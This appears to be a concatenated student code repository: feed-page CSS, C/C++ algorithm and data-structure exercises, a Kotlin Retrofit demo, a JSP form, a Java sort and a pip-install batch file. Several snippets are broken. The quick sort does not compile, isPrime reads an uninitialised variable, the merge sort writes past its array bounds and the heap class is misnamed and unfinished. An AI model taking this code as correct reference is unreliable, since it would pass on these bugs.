      grid-template-columns: 1fr;
}

.profile__user__posts article:hover {
  -webkit-box-shadow: 0 0 20px rgba(0, 0, 0, 0.35);
          box-shadow: 0 0 20px rgba(0, 0, 0, 0.35);
}

.post {
  /***************************
POST AUTHOR RELATED STYLING
***************************/
}

.post__header {
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-pack: justify;
      -ms-flex-pack: justify;
          justify-content: space-between;
  -webkit-box-align: start;
      -ms-flex-align: start;
          align-items: flex-start;
  -webkit-box-orient: horizontal;
  -webkit-box-direction: normal;
      -ms-flex-direction: row;
          flex-direction: row;
  padding: 1em;
}

.post__author__container {
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-pack: start;
      -ms-flex-pack: start;
          justify-content: flex-start;
  -webkit-box-align: start;
      -ms-flex-align: start;
          align-items: flex-start;
  -webkit-box-orient: horizontal;
  -webkit-box-direction: normal;
      -ms-flex-direction: row;
          flex-direction: row;
}

.post__author__img__wrapper {
  width: 3em;
  height: 3em;
  border-radius: 50%;
  margin-right: .6em;
}

.post__author__img__wrapper img {
  width: 100%;
  height: 100%;
  -o-object-fit: cover;
     object-fit: cover;
  display: block;
  border-radius: 50%;
  border: 2px solid var(--general-color);
}

.post__author__name__container div {
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-pack: start;
      -ms-flex-pack: start;
          justify-content: flex-start;
  -webkit-box-align: start;
      -ms-flex-align: start;
          align-items: flex-start;
  -webkit-box-orient: horizontal;
  -webkit-box-direction: normal;
      -ms-flex-direction: row;
          flex-direction: row;
}

.post__author__name__container .author__name {
  font-size: .9em;
  color: var(--h1-color);
  line-height: 1.3;
}

.post__author__name__container span {
  line-height: 1.2;
  font-size: .75em;
  display: block;
  color: #636166;
  font-weight: 600;
}

/***************************
POST ASSETS
***************************/
.post__content__container {
  padding: 0 1em;
}

.post__content__container a {
  text-decoration: none;
  display: block;
  color: #333;
  font-family: 'Nunito',sans-serif;
  line-height: 1.5;
  font-size: 1em;
  margin-bottom: .5em;
}

.post__image__container a {
  text-decoration: none;
  display: block;
}

.post__image__container img {
  width: 100%;
  display: block;
}

/************************
LIKE AND COMMENT BTNS
*************************/
.post__footer {
  border-top: 1px solid var(--input-border-color);
  padding: .5em;
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -ms-flex-pack: distribute;
      justify-content: space-around;
  -webkit-box-align: center;
      -ms-flex-align: center;
          align-items: center;
  -webkit-box-orient: horizontal;
  -webkit-box-direction: normal;
      -ms-flex-direction: row;
          flex-direction: row;
}

.heart__btn,
.comment__btn {
  text-decoration: none;
  display: block;
  color: #3f3d4f;
  border: none;
  background-color: transparent;
  font-size: 1.5em;
  cursor: pointer;
}

.heart__btn span,
.comment__btn span {
  font-size: .85em;
}

.heart__btn__active {
  color: var(--grad-color-1);
}


<|start_filename|>DSA/Notes and examples/selectionsort.cpp<|end_filename|>
//find min value element of an unsorted array and swap it with first element
#include <iostream>
using namespace std;

void selectionSort()
{
  int i,j,temp;
  int arr[]={10,2,3,4,5};
  for(i=0;i<4;i++)
  {
      for(j=i+1;j<5;j++)
      {
          if(arr[j]<arr[i])
          {
              //swapping	
              temp=arr[j];
              arr[j]=arr[i];
              arr[i]=temp;
          }
      }
  }
  cout<<"sorted array:\n";
  for(i=0;i<5;i++)
  cout<<arr[i]<<" \n";
}


int main() {
    int arr[]={10,2,3,4,5};
    // int i,j,temp;
    cout<<"given array is:\n";
    for(int i=0;i<5;i++)
    cout<<arr[i]<<" \n";
    selectionSort();
    return 0;
}


<|start_filename|>CPP/palindromicPattern.cpp<|end_filename|>
#include <iostream>
using namespace std;

int main(){
    int n;
    cout<<"enter no:-";
    cin>>n;
    cout<<endl;

    for (int i=1;i<=n;i++){
        int j;
        for (j=1;j<=n-i;j++){
            cout<<" ";
        }
        int k=i;
        for (;j<=n;j++){
            cout<<k--<<" ";

        }
        k=2;
        for(;j<=n+i-1;j++){
            cout<<k++<<" ";
        }
        cout<<endl;
    }
}


<|start_filename|>Android/Retrofit demo/app/src/main/java/com/example/retrofittut/MainActivity.kt<|end_filename|>
package com.example.retrofittut

import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
import android.util.Log
import androidx.core.view.isVisible
import androidx.lifecycle.lifecycleScope
import androidx.recyclerview.widget.LinearLayoutManager
import com.example.retrofittut.databinding.ActivityMainBinding
import retrofit2.HttpException
import java.io.IOException
const val TAG = "MainAcctivity"
class MainActivity : AppCompatActivity() {


    lateinit var binding: ActivityMainBinding
    private lateinit var todoAdapter : TodoAdapter
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        binding = ActivityMainBinding.inflate(layoutInflater)
        setContentView(binding.root)
        setupRecyclerView()

        lifecycleScope.launchWhenCreated {
            binding.progressBar.isVisible = true

            val response = try {
                RetrofitInstance.api.getTodos()
            }catch (e : IOException){
                binding.progressBar.isVisible = false
                Log.e(TAG,"internet expection")
                return@launchWhenCreated
            }catch (e : HttpException){
                binding.progressBar.isVisible = false
                Log.e(TAG,"http expection , unexpexted")
                return@launchWhenCreated
            }

           if (response.isSuccessful && response.body() != null ){
               todoAdapter.todos  = response.body()!!
           }else {
               Log.e(TAG, "Response not successful")
           }
            binding.progressBar.isVisible = false
        }

    }

    private fun setupRecyclerView() = binding.rvTodos.apply {
        todoAdapter = TodoAdapter()
        adapter = todoAdapter
        layoutManager = LinearLayoutManager(this@MainActivity)

    }
}

<|start_filename|>CPP/gcd.cpp<|end_filename|>
template <typename T>
T gcd(T a, T b) { 
    if (b == 0) 
        return a; 
    return gcd(b, a % b);  
} 


<|start_filename|>C/merge_sort.c<|end_filename|>
#include<stdio.h>
#include <stdlib.h>
int merge(int arr[], int l, int m, int r)
{
    int i, j, k,c1=0,c2=0,c3=0,c4=0,c5=0,c6=0;
    int n1 = m - l + 1;
    int n2 = r - m;
    int L[n1], R[n2];
    for (i = 0; i < n1; i++){
        L[i] = arr[l + i];c1++;}
    for (j = 0; j < n2; j++){
        R[j] = arr[m + 1 + j];c2++;}
    L[n1] = 2147483647;
    R[n2] = 2147483647;
    i = 0;
    j = 0;
    k = l;
    while (i < n1 && j < n2) {
        if (L[i] <= R[j]) {
            c3++;
            arr[k] = L[i];
            i++;
        }
        else {
            c4++;
            arr[k] = R[j];
            j++;
        }
        k++;
    }
    while (i < n1) {
        arr[k] = L[i];
        c5++;
        i++;
        k++;
    }
    while (j < n2) {
        arr[k] = R[j];
        c6++;
        j++;
        k++;
    }
    return c1+c2+c3+c4+c5+c6;
}
int mergeSort(int arr[], int l, int r,int c1,int c2)
{
    if (l < r) {
        int m = l + (r - l) / 2;
        c1+=1;
        mergeSort(arr, l, m,c1,c2);
        c2+=1;
        mergeSort(arr, m + 1, r,c1,c2);
        int c = merge(arr, l, m, r);
        return c1+c2+c;
    }
}
void printArray(int A[], int s)
{
    for (int i = 0; i < s; i++)
        printf("%d ",A[i]);
    printf("\n");
}
void descending(int number[],int n)
{
    int i,j,a;
    for (i = 0; i < n; ++i)
        {
            for (j = i + 1; j < n; ++j)
            {
                if (number[i] < number[j])
                {
                    a = number[i];
                    number[i] = number[j];
                    number[j] = a;
                }
            }
        }
}
int main()
{
    int n;
    printf("Enter the number of elements: ");
    scanf("%d",&n);
    int arr[n];
    for(int i=0;i<n;i++)
    arr[i]=rand();
    int c = mergeSort(arr, 0, n-1,0,0);
    printf("\nArray after sorting:\n");
    printArray(arr,n);
    c=0;
    c = mergeSort(arr, 0, n-1,0,0);
    printf("Time complexity for ascending data: %d\n",c);
    descending(arr,n);
    printArray(arr,n);
    c=0;
    c = mergeSort(arr, 0, n-1,0,0);
    printf("Time complexity for descending data: %d\n",c);
    return 0;
}


<|start_filename|>DSA/Notes and examples/quick_sort.cpp<|end_filename|>
#include<bits/stdc++.h>
using namespace std;

void swap(int arr[],int i,int j)
{
	int temp=arr[i];
	arr[i]=arr[j];
	arr[j]=temp;
}

int partition(int arr[],int left,int right)
{
	int pivot=arr[right];
	int i=left-1;

	for(int j=left;j<right;j++)
	{
		if(arr[j]<pivot)
		{
			i++;
			swap(arr,i,j);
		}
	}
	swap(arr,i+1,right);
	return i+1;
}

void quick(int arr[],int left,int right)
{
	if(left<right)
	{
		int pivot=partition(arr,left,right);
		quick(arr,left,pivot-1);
		quick(arr,pivot+1,right);
	}
}

int main() {
	int n;
	cin>>n;
	int arr[n];
	for(int i=0;i<n;i++)
	cin>>arr[i];
	quick(arr,left,right);
	for(int i=0;i<n;i++)
	cout<<arr[i]<<" ";
	return 0;
}


<|start_filename|>CPP/Data Structures/Trees/Binary Trees/binaryTreeNode.h<|end_filename|>
template <typename t>
class binarynode {
    public:
    t data;
    binarynode <t> * left;   
    binarynode <t> * right;  
    
    binarynode(t data){
        this -> data = data;
        left = right = NULL;
    }
    ~binarynode(){ 
        delete left;
        delete right;
    }

};

<|start_filename|>DSA/DSA-VIT/Stacks/stack_using_vector.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;

class Stack{
    private:
    vector<int>v;
    public:
    void push(int data)
    {
        v.push_back(data);
    }
    void pop()
    {
        if(!empty())
        v.pop_back();
    }
    int top()
    {
        return v[v.size()-1];
    }
    bool empty()
    {
        return (v.size()==0);
    }
};

int main() {
    Stack s;

    //pushing elements into stack
    for(int i=0;i<=5;i++)
    {
        s.push(i*i);
    }

    //popping elements from stack
    while(!s.empty())
    {
        cout<<s.top()<<endl;
        s.pop();
    }
}



<|start_filename|>JS/Tic-Tac-Toe Game/JS/GameView.js<|end_filename|>
export default class GameView {


    updateBoard(game){
        this.updateTurn(game);
        const winningCombination = game.findWinningCombinations();
        for(let i = 0; i < game.board.length; i++) {
            const tile = document.querySelector(`.board-tile[data-index='${i}']`);
           
            tile.classList.remove("tile-winner");

            let tileType = game.board[i] == 'X' ? "tile-x" : "tile-o";

            tile.innerHTML = `<span class="${tileType}">${game.board[i] ? game.board[i] : ""}</span>`

            if(winningCombination && winningCombination.includes(i)){
                tile.classList.add("tile-winner");
            }
            
        }

    }

    updateTurn(game) {
        let playerX = document.querySelector(".player-X")        
        let playerO = document.querySelector(".player-O");   
        playerX.classList.remove("active");     
        playerO.classList.remove("active");     

        if (game.turn == 'X') {
            playerX.classList.add('active');
        } else {
            playerO.classList.add('active');
        }

    }

}

<|start_filename|>DSA/Heaps/remove_max_min.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;

class heap{
    vector<int>v;
    bool minHeap;
    public:
    Heap(int size=10,bool type=true)
    {
        //vector won't expand till size exceeds 10
        v.reserve(size);

        //blocking 0th index
        v.push_back(-1);
        minHeap=type;
    }

    void insert(int d)
    {
         v.push_back(d);
         int idx=v.size()-1;
         int parent=idx/2;


         while(idx>1 and v[idx]>v[parent])
         {
             swap(v[idx],v[parent]);
             parent=idx;
             parent=parent/2;
         }
    }
};

int main() {
   
}


<|start_filename|>Python/Text-to-Speech/required.bat<|end_filename|>
python -m pip install pyttsx3
python -m pip install tk
python -m pip install pillow

<|start_filename|>DSA/Graphs/dfs.cpp<|end_filename|>
/** Depth first search
 * We keep a visited array to mark the nodes which we have already visited,
 * if not visited, mark the current node as true, and do the dfs in nodes connected
 * from the current node **/

#include <bits/stdc++.h>
using namespace std;

vector<int> component(10000, 0); // to color the nodes
int counter = 0;                 // to count the no. of connected component

void dfs(int node, vector<vector<int>> &adj, vector<bool> &visited)
{
    if (visited[node])
        return;
    component[node] = counter;
    visited[node] = true;
    vector<int> neigh = adj[node];
    for (int i = 0; i < neigh.size(); i++)
        dfs(neigh[i], adj, visited);
}

pair<int, vector<int>> connectedComponents(vector<vector<int>> &adj, vector<bool> &visited)
{
    for (int i = 0; i < adj.size(); i++)
    {
        if (!visited[i])
        {
            counter++;
            dfs(i, adj, visited); /** all the nodes which are connected from i are colored as
                                    counter and are under same component **/
        }
    }
    return {counter, component};
}

int main()
{
    int n, e;
    cout << "Enter no. of nodes and edges ";
    n = 13, e = 14;
    cout << "\nEnter the map ";
    vector<vector<int>> adj(n + 1);
    for (int i = 0; i < e; i++)
    {
        int x, y;
        cin >> x >> y;
        adj[x].push_back(y), adj[y].push_back(x);
    }
    vector<bool> visited(n + 1, false);

    pair<int, vector<int>> p = connectedComponents(adj, visited);
    cout << "No. of connected components " << p.first << endl;
    cout << "The colors are ";
    for (int i = 0; i < n + 1; i++)
        cout << p.second[i] << " ";
    cout << endl;
}


<|start_filename|>Android/Retrofit demo/app/src/main/java/com/example/retrofittut/ToDoApi.kt<|end_filename|>
package com.example.retrofittut
import retrofit2.Response
import retrofit2.http.Body
import retrofit2.http.GET
import retrofit2.http.POST

interface ToDoApi {

    @GET("/todos")
   // topass key use @Query("key"):Key : String
   suspend fun getTodos():Response<List<Todo>>

//    @POST("/createTodo")
//    fun createTodo(@Body todo: Todo): Response<CreateTodoResoponce>
}

<|start_filename|>CPP/Dynamic array .cpp<|end_filename|>

 #include<bits/stdc++.h>
 using namespace std;
 #define MOD 1000000007
 typedef long long ll;

 class dynamicArray{
   int *data;
   int nextIndex;
   int capacity; //total size
 public:
   dynamicArray()
   {
     data= new int[5];//initial size
     nextIndex=0;
     capacity=5;
   }
   dynamicArray(dynamicArray const &d)
   {
     this->data=new int [d.capacity]; //deep copy
     for(int i=0;i<d.nextIndex;i++)//new array
     {
       this->data[i]=d.data[i];
     }
     this->nextIndex=d.nextIndex;
     this->capacity=d.capacity;

   }

  void operator=(dynamicArray const &d)
  {
    this->data=new int [d.capacity]; //deep copy
    for(int i=0;i<d.nextIndex;i++)//new array
    {
      this->data[i]=d.data[i];
    }
    this->nextIndex=d.nextIndex;
    this->capacity=d.capacity;

  }

   void add(int element)
   {
     if(nextIndex==capacity)
     {
       int *newData=new int[2*capacity];
       for(int i=0;i<capacity;i++)
       {
         newData[i]=data[i];
       }
       delete []data;
       data=newData;//poiting to new array
       capacity*=2;
     }
     data[nextIndex]=element;
     nextIndex++;
   }

   int get(int i) const
   {
     if(i<nextIndex)
     return data[i];
     else
     return -1;
     }

     void add(int i, int element)
     {
        if(i< nextIndex)
       data[i]=element;
       else if(i==nextIndex)
       {
         add(element);
       }
       else
       return;

     }
     void print() const
     {
       for(int i=0;i<nextIndex;i++)
       cout<<data[i]<<" ";
       cout<<endl;
     }

 };
 int main()
 {
   dynamicArray d1;
   d1.add(10);
   d1.add(20);
   d1.add(30);
   d1.add(40);
   d1.add(50);
   d1.add(60);

   d1.print();
   dynamicArray d2(d1);// copy const shallow copy
   d2.print();


   dynamicArray d3;
   d3=d1;// deep  copy we have used operator overloadng
    d1.add(0,100);
    d3.print();


   return 0;
 }


<|start_filename|>DSA/DSA-VIT/Queues/queue_using_array.cpp<|end_filename|>
#include<iostream>
using namespace std;
class queue{
	private:
	int *a;
	int front,rear,cs,ms;
	public:
		queue(int ds=5)//ds is the default size the user will give
		{
			// int a[ds]; u can't declare like this
            a=new int[ds]; //using DMA
			cs=0;
			ms=ds;
			front=0;
			rear=ms-1;
		}
		bool full()
		{
			if(ms==cs)
			{
				return true;
			}
			return false;
		}
		void push(int d)
		{
			if(!full())
			rear=(rear+1)%ms;  //for circular queue
			a[rear]=d;
			cs++;
			
		}
		bool empty()
		{
			if(cs==0)
			{
				return true;
			}
		 return false;
		}
		void pop()
		{
			if(!empty())
			{
				front=(front+1)%ms;
				cs--;
		     }
		}
		int f()
		{
			return a[front];
		}
		~queue()
		{
			if(a!=NULL)
			{
				delete [] a;
				a=NULL;
			}
		}
		
};
int main()
{
	queue q;
	int n;
	cin>>n;
	for(int i=0;i<5;i++)
	{
		q.push(i);
	}
    while(!q.empty())
    {
        cout<<q.f()<<" ";
        q.pop();
    }
    return 0;
}


<|start_filename|>DSA/AVL Trees/Insertion.cpp<|end_filename|>
//Insertion in AVL Tree
//AVL trees are balanced Binary Search Trees.
//Wee have a new Term call balanced factor
//balanced factor = height of left subtree - height of right subtree
//If balanced factor ranges in  {-1, 0, 1} for each node, then the tree is balanced
//Otherwise it's imbalanced.

//AVL Trees use LL-Rotation, RR-Rotation, LR-Roation, and RR-Rotation to generate a balanced Tree while inserting
//each node after checking for it's balancing factor and identifying the imbalanced nodes.
//In order to save time, we take an extra variable height for each node containing the height of the node or
//maximum levels beneath it.

#include <iostream>
#define endl "\n"
using namespace std;

struct Node{
    Node *lchild;
    int data;
    int height;
    Node *rchild;
}*root = NULL;

//Finding the Height of the Node
int NodeHeight(Node *p){
    int h1, h2;
    h1 = p&&p->lchild?p->lchild->height:0;
    h2 = p&&p->rchild?p->rchild->height:0;
    
    return h1>h2?h1+1:h2+1;
}

//Finding the Balanced Factor
int BalanceFactor(Node *p){
    int lh, rh;
    lh = p&&p->lchild?p->lchild->height:0;
    rh = p&&p->rchild?p->rchild->height:0;
    return lh-rh;
}

//LL Rotation
Node* LLRotation(Node *p){
    Node *pl = p->lchild;
    Node *plr = pl->rchild;
    pl->rchild = p;
    p->lchild = plr;
    pl->height = NodeHeight(pl);
    p->height = NodeHeight(p);

    if(root == p)
        root = pl;
    return pl;
}

//LRRotation
Node* LRRotation(Node *p){
    Node *pl = p->lchild;
    Node* plr = pl->rchild;
    pl->rchild = plr->lchild;
    p->lchild = plr->rchild;
    plr->lchild = pl;
    plr->rchild = p;

    pl->height = NodeHeight(pl);
    plr->height = NodeHeight(plr);
    p->height = NodeHeight(p);
    if(root == p)
        root = plr;
    return plr;
}

//RR Rotation
Node* RRRotation(Node *p){
    Node *pr = p->rchild;
    Node *prl = pr->lchild;
    p->rchild = prl;
    pr->lchild = p;

    p->height = NodeHeight(p);
    pr->height = NodeHeight(pr);
    if(root == p)
        root = pr;
    return pr;
}

//RL Rotation
Node* RLRotation(Node *p){
    Node *pr = p->rchild;
    Node *prl = pr->lchild;
    p->rchild = prl->lchild;
    pr->lchild = prl->rchild;
    prl->lchild = p;
    prl->rchild = pr;

    p->height = NodeHeight(p);
    pr->height = NodeHeight(pr);
    prl->height = NodeHeight(prl);
    if(root == p)
        root = prl;
    return prl;
}

//Inserting into AVL Tree
Node* RInsert(Node *p, int key){
    if(p == NULL){
        p = new Node;
        p->data = key;
        p->lchild = p->rchild = NULL;
        p->height = 1;
    }
    
    if(key < p->data)
        p->lchild = RInsert(p->lchild, key);
    else if(key > p->data)
        p->rchild = RInsert(p->rchild, key);
    p->height = NodeHeight(p);

    if(BalanceFactor(p)==2 && BalanceFactor(p->lchild) == 1)
        return LLRotation(p);
    else if(BalanceFactor(p)==2 &&BalanceFactor(p->lchild) == -1)
        return LRRotation(p);
    else if(BalanceFactor(p) == -2 && BalanceFactor(p->rchild) == -1)
        return RRRotation(p);
    else if(BalanceFactor(p)== -2 && BalanceFactor(p->rchild) == 1)
        return RLRotation(p);

    return p;
}

//Dummy Making it easier
Node* RInsert(int key){
    return RInsert(root, key);
}

int main()
{
    int a[] = {10, 20, 30, 25, 28, 27, 5};
    int n = sizeof(a)/sizeof(a[0]);
    root = RInsert(10);
    for(int i=1; i < n; i++)
        root = RInsert(a[i]);

    return 0;
}

<|start_filename|>CPP/Data Structures/Stack Using Arrays/stack.cpp<|end_filename|>
#include <iostream>
#include "stackClass.cpp"
using namespace std;

// dynamic stack, changes it size acc to input

int main (){
    stack <int> s1(5);
    for (int i=0;i<5;i++){
        s1.push(i+1);
    }
    s1.display();
    stack <char> s2(5);
    s2.push('h');
    s2.display();
    
    s1.push(6);
    s1.push(7);
    s1.display();
    cout << s1.getSize();
    cout << endl;
    stack <int> s3; 
    cout << s3.getSize();
    return 0;
}

<|start_filename|>DSA/CP series/prime.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;

int isPrime()
{
    int n;
    if(n<=1)
  return 0;

   for(int i=2;i<=sqrt(n);i++)
   {
       if(n%i==0)
       return 0;
   }
   return 1;
}

int main() {
   
   int n;
   cin>>n;

   if(isPrime())
   cout<<"prime";
   else
   cout<<"not prime";
}


<|start_filename|>CPP/findtriangle.cpp<|end_filename|>
/*You are given the length of three sides a, b, and c respectively for a triangle.
 If these three sides can form an Equilateral Triangle then print 1, 
 If these three sides can form an Isosceles Triangle then print 2, 
 if these three sides can form a Scalene Triangle then print 3, 
 otherwise print −1.

 Sample Input:
 4 4 4
 
 Output:
 1

 Sample Input
 3 3 2

 Sample Output 
 2

 Sample Input:
 2 4 6

 Sample Output:
 3
 */


#include <iostream>
#include <bits/stdc++.h>
using namespace std;

int main() {
	int arr[3];
	for(int i=0; i<=2; i++){
	    cin>>arr[i];
	}
	int n = sizeof(arr) / sizeof(arr[0]);
 
    sort(arr, arr + n);

	
	
	if(arr[0]+arr[1]-arr[2]>0){
    	if(arr[0]==arr[1] && arr[1]==arr[2]){
    	    cout<<"1";
    	}
    	else if(((arr[0]==arr[1]) || (arr[1]==arr[2]) || (arr[0]==arr[2]))){
    	    cout<<"2";
    	}
    	else if(arr[0]!=arr[1] && arr[1]!=arr[2]){
    	    cout<<"3";
    	}
	}
	else{
	    cout<<"-1";
	}
}


<|start_filename|>Java_Backend/JSPLoginForm/src/main/webapp/WEB-INF/views/new.jsp<|end_filename|>
<%@ include file="/common/taglibs.jsp" %>
<html>
<head>
  <title>Address Book Demo :: New Contact</title>
  <link rel="stylesheet" type="text/css" href="${ctx}/css/app/index.css" />
</head>
<body id="new">

  <div class="bd container-fluid">
    <div class="row-fluid">
      <div class="span3"></div>

      <div class="bd span6">
        <h3 class="title"><fmt:message key="page.new_contact.title"/> </h3>

        <form:form commandName="contact" cssClass="form-horizontal">
          <form:errors path="*" cssClass="flash alert alert-danger" />

          <label class="control-label" for="prefix">
            <fmt:message key="page.new_contact.form.prefix"/>
          </label>
          <div class="controls">
            <form:select path="prefix">
              <form:option value="" label="" />
              <form:options items="${prefixes}" />
            </form:select>
            &nbsp;
          </div>

          <label class="control-label" for="firstName">
            <fmt:message key="page.new_contact.form.first_name"/>
          </label>
          <div class="controls">
            <form:input path="firstName" cssClass="span8" />
          </div>

          <label class="control-label required" for="lastName">
            <fmt:message key="page.new_contact.form.last_name"/>
          </label>
          <div class="controls">
            <form:input path="lastName" cssClass="span8" />
          </div>

          <label class="control-label" for="email">
            <fmt:message key="page.new_contact.form.email"/>
          </label>
          <div class="controls">
            <form:input path="email" cssClass="span8" />
          </div>

          <div class="form-actions">
            <input type="submit" class="btn btn-primary" value="<fmt:message key="page.new_contact.button.save"/>" />
            <input type="reset" class="btn" id="btnReset" value="<fmt:message key="page.new_contact.button.reset"/>" />
          </div>
        </form:form>
      </div>

      <div class="span3"></div>
    </div>
  </div>

</body>
</html>

<|start_filename|>CPP/matrix_exponentiation_template.cpp<|end_filename|>
template<typename T>
struct Matrix{
    int r, c;
    vector<vector<T>> data;
    Matrix(int r, int c) : r(r), c(c){
        data.assign(r, vector<T> (c));
    }
    explicit Matrix(const vector<vector<T>> &a) {
        data = a, r = data.size(), c = data[0].size();
    }
    Matrix operator + (const Matrix &other) {
        assert(r == other.data.size() && c == other.data[0].size());
        Matrix<T> ans(r, c);
        for (int i = 0; i < r; ++i) {
            for (int j = 0; j < c; ++j) {
                ans.data[i][j] = data[i][j] + other.data[i][j];
            }
        }
        return ans;
    }
    Matrix operator - (const Matrix &other) {
        assert(r == other.data.size() && c == other.data[0].size());
        Matrix<T> ans(r, c);
        for (int i = 0; i < r; ++i) {
            for (int j = 0; j < c; ++j) {
                ans.data[i][j] = data[i][j] - other.data[i][j];
            }
        }
        return ans;
    }
    Matrix operator * (const Matrix &other) {
        assert(c == other.data.size());
        int m = other.data[0].size();
        Matrix<T> ans(r, m);
        for (int i = 0; i < r; ++i) {
            for (int j = 0; j < m; ++j) {
                for (int k = 0; k < c; ++k) {
                    ans.data[i][j] += data[i][k] * other.data[k][j];
                }
            }
        }
        return ans;
    }
    friend ostream& operator << (ostream &_out, const Matrix<T> &other) {
        for (auto &i: other.data) {
            for (auto &j: i) {
                _out << j << ' ';
            }
            _out << "\n";
        }
        return _out;
    }
    Matrix& operator += (const Matrix &other) {
        *this = (*this + other);
        return *this;
    }
    Matrix& operator -= (const Matrix &other) {
        *this = (*this - other);
        return *this;
    }
    Matrix& operator *= (const Matrix &other) {
        *this = (*this * other);
        return *this;
    }
    Matrix transpose() {
        Matrix<T> res(c, r);
        for (int i = 0; i < c; ++i) {
            for (int j = 0; j < r; ++j) {
                res[i][j] = data[j][i];
            }
        }
        return res;
    }
    vector<T>& operator [] (int i) {
        assert(i < r && i >= 0);
        return data[i];
    }
    vector<T>& operator [] (int i) const {
        assert(i < r && i >= 0);
        return data[i];
    }
    Matrix getIdentityMatrix() {
        assert(r == c);
        Matrix<T> id(r, r);
        for (int i = 0; i < r; ++i) {
            id.data[i][i] = (T)1;
        }
        return id;
    }
    Matrix pow(long long n) {
        if (n == 0) return getIdentityMatrix();
        Matrix<T> res = pow(n / 2);
        if (n % 2) return res * res * (*this);
        return res * res;
    }
};


<|start_filename|>Java/WaveSort.java<|end_filename|>
class WaveSort { 
	static void swap(int arr[], int a, int b) { 
		int temp = arr[a]; 
		arr[a] = arr[b]; 
		arr[b] = temp; 
	} 

	static void sort(int arr[], int n)  {
		for (int i = 0; i < n; i+=2) { 
			if (i>0 && arr[i-1] > arr[i] ) 
				swap(arr, i-1, i); 

			if (i<n-1 && arr[i] < arr[i+1] ) 
				swap(arr, i, i + 1); 
		} 
	} 

	public static void main(String args[]) { 
		int arr[] = {22,10,3,12,21,1,2002,2001}; 
		int n = arr.length; 
		sort(arr, n); 
		
		for (int i : arr) 
			System.out.print(i); 
    
		
	} 
} 


<|start_filename|>DSA/Stacks & Queues/max_in_window_k.cpp<|end_filename|>
#include <iostream>
#include<vector>
#include<deque>
using namespace std;

void maxSubArrayK(vector<int> a,int k){

    int n = a.size();

    deque<int> Q(k);
    //1. Process only the first K elements
    int i;

    for(i=0;i<k;i++){
        while(!Q.empty() && a[i] > a[Q.back()]){
            Q.pop_back();
        }

        Q.push_back(i);

    }

    //2. Remaining the elements of the array
    for( ;i<n;i++){
        cout << a[Q.front()]<<" ";
        //Remove element from the left (contraction when an index lies outside the current window)
        while(!Q.empty() and Q.front() <=i-k){
            Q.pop_front();
        }
        while(!Q.empty() && a[i] >= a[Q.back()]){
            Q.pop_back();
        }

        //always
        Q.push_back(i);
    }


    cout<< a[Q.front()];

}

int main() {
    
    vector<int> arr{1,2,3,1,4,5,2,3,5};
    int k = 3;

    maxSubArrayK(arr,k);
    
    return 0;
}

<|start_filename|>DSA/Graphs/dijkstra.cpp<|end_filename|>
/** Dijkstra shortest path, it uses a min heap priority queue sorted by the weight
 * of the node, it takes O(E*log(v)) depending on how we implement the queue **/

// this method is also called lazy implementation because we push the same nodes again
// when their distance updates, we can do some optimization for it
// also because it is easy to insert value in the pq in O(log(n)) than to search
// and update the value

/** In the eager version of dijkstra, we can use an indexed pq, where
 * we can update the values of weights and we dont have to duplicate **/

// SSSP - Single source shortest path this means we can find shortest distance from source
// to every other node

#include <bits/stdc++.h>
#include <queue>
#define pd pair<int, int> // first is the node, second is edge weight
using namespace std;

struct myComp
{
    constexpr bool operator()(
        pair<int, int> const &a,
        pair<int, int> const &b)
        const noexcept
    {
        return a.second > b.second;
    }
};

/** Here we greedily push the values in the pq, having the least distance from
 * the current node, this only applies when all the edge weights are +ve **/

pair<vector<int>, vector<int>> dijkstra(vector<vector<pd>> adj, int numNodes, int start)
{
    bool visited[numNodes] = {false};
    vector<int> dist(numNodes, INT_MAX);
    // to show the min path we store the parent values in array
    vector<int> prev(numNodes, -1);
    dist[start] = 0;
    priority_queue<pd, vector<pd>, myComp> q;
    q.push({start, 0});
    while (!q.empty())
    {
        int index = q.top().first, minValue = q.top().second;
        q.pop();
        visited[index] = true;

        if (dist[index] < minValue) // to avoid pushing duplicate nodes when distance updates
            continue;

        for (auto edge : adj[index])
        {
            if (visited[edge.first])
                continue;

            int newDist = dist[index] + edge.second;
            // we want to update the distance of the next node from the current one
            if (newDist < dist[edge.first])
            {
                prev[edge.first] = index;
                dist[edge.first] = newDist;
                q.push({edge.first, newDist});
            }
        }
    }

    return {dist, prev};
}

// to find the minimum path route
vector<int> findShortestPath(vector<vector<pd>> adj, int start, int end, int numNodes)
{
    vector<int> prev = dijkstra(adj, numNodes, start).second;
    vector<int> dist = dijkstra(adj, numNodes, start).first;

    vector<int> path;

    if (dist[end] == INT_MAX)
        return {};

    for (auto at = end; at != -1; at = prev[at])
        path.push_back(at);

    reverse(path.begin(), path.end());
    return path;
}

/** If we want to find shortest distance to one particular node, we can stop early if we encounter
 * the node, since dijkstra is greedy, once a node is visited, its distance doesnt change
 * on futher iterations so we can stop early**/

int dijkstraEarly(vector<vector<pd>> adj, int numNodes, int start, int end)
{
    bool visited[numNodes] = {false};
    vector<int> dist(numNodes, INT_MAX);
    // to show the min path we store the parent values in array
    vector<int> prev(numNodes, -1);
    dist[start] = 0;
    priority_queue<pd, vector<pd>, myComp> q;
    q.push({start, 0});
    while (!q.empty())
    {
        int index = q.top().first, minValue = q.top().second;
        q.pop();
        visited[index] = true;

        if (dist[index] < minValue) // to avoid pushing duplicate nodes when distance updates
            continue;

        for (auto edge : adj[index])
        {
            if (visited[edge.first])
                continue;

            int newDist = dist[index] + edge.second;
            // we want to update the distance of the next node from the current one
            if (newDist < dist[edge.first])
            {
                prev[edge.first] = index;
                dist[edge.first] = newDist;
                q.push({edge.first, newDist});
            }
        }

        if (index == end)
            return dist[end];
    }

    return INT_MAX;
}

int main()
{
    int n, e;
    cout << "Enter no. nodes and edges ";
    cin >> n >> e;

    cout << "\nEnter the graph\n";

    vector<vector<pd>> adj(n);
    for (int i = 0; i < e; i++)
    {
        int from, to, weight;
        cin >> from >> to >> weight;
        adj[from].push_back({to, weight});
    }

    int start;
    cout << "\nEnter start node ";
    cin >> start;

    int end;
    cout << "\nEnter end node ";
    cin >> end;
